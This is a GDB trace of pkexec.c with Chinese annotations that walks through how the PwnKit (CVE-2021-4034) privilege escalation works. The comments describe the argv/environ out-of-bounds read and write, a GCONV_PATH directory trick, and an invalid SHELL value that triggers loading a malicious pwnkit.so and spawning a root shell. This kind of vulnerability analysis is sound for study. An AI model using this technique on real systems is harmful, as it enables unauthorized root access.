1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
   | Breakpoint 1, main (argc=0, argv=0x7ffe2d2d4e58) at pkexec.c:406 406       const gchar *environment_variables_to_save[] = { Breakpoint 2 at 0x55d64339bed6: file pkexec.c, line 900. Stepping until end of main @ pkexec.c:386 442       ret = 127; 443       authority = NULL; 444       subject = NULL; 445       details = NULL; 446       result = NULL; 447       action_id = NULL; 448       saved_env = NULL; 449       path = NULL; 450       command_line = NULL; 451       opt_user = NULL; 452       local_agent_handle = NULL; 455       if (geteuid () != 0) 461       original_user_name = g_strdup (g_get_user_name ()); 462       if (original_user_name == NULL) 468       if (getcwd (original_cwd, sizeof (original_cwd)) == NULL) 478       opt_show_help = FALSE; 479       opt_show_version = FALSE; 480       opt_disable_internal_agent = FALSE; 481       for (n = 1; n < (guint) argc; n++)       //n被赋值为1 512       if (opt_show_help) 518       else if (opt_show_version) 525       if (opt_user == NULL) --Type <RET> for more, q to quit, c to continue without paging-- 526         opt_user = g_strdup ("root"); 536       g_assert (argv[argc] == NULL); 537       path = g_strdup (argv[n]);                //越界读,path被赋值为 argv[1],即 environ[0],"pwnkit.so:." 538       if (path == NULL) 543       if (path[0] != '/') 546           s = g_find_program_in_path (path);    //在环境变量PATH中寻找"pwnkit.so:.",并把路径返回给 s。利用脚本中把PATH设置为"GCONV_PATH=.",且在磁盘上提前生成了名为"GCONV_PATH=."的文件夹,并放置了名为"pwnkit.so:."的程序,因此,s被赋值 "GCONV_PATH=./pwnkit.so:."。 547           if (s == NULL) 552           g_free (path); 553           argv[n] = path = s;                   //越界写,argv[1]被设置为"GCONV_PATH=./pwnkit.so:.",即environ[0] 被修改,重新引入了不安全的环境变量GCONV_PATH,至此完成了至关重要的一步。接下来只要随便构造个错误,使其报错时调用到 g_printerr 即可。 555       if (access (path, F_OK) != 0) 560       command_line = g_strjoinv (" ", argv + n); 561       exec_argv = argv + n; 566       rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw); 567       if (rc == 0 && pw == NULL) 572       else if (pw == NULL) 579       saved_env = g_ptr_array_new (); 580       for (n = 0; environment_variables_to_save[n] != NULL; n++) 582           const gchar *key = environment_variables_to_save[n]; 585           value = g_getenv (key); 586           if (value == NULL) 593           if (!validate_environment_variable (key, value))  //key="SHELL", value="/lol/i/do/not/exists",在校验环境变量时报错"The value for the SHELL variable was not found the /etc/shells file",进而调用了 g_printerr ,触发漏洞利用,最终执行pwnkit.so里的execve("/bin/sh", args, environ)得到shell。 process 11852 is executing new program: /usr/bin/dash Error in re-setting breakpoint 1: Function "main" not defined. Error in re-setting breakpoint 2: No source file named /home/kali/software/release/polkit-0.105/src/programs/pkexec.c.
   |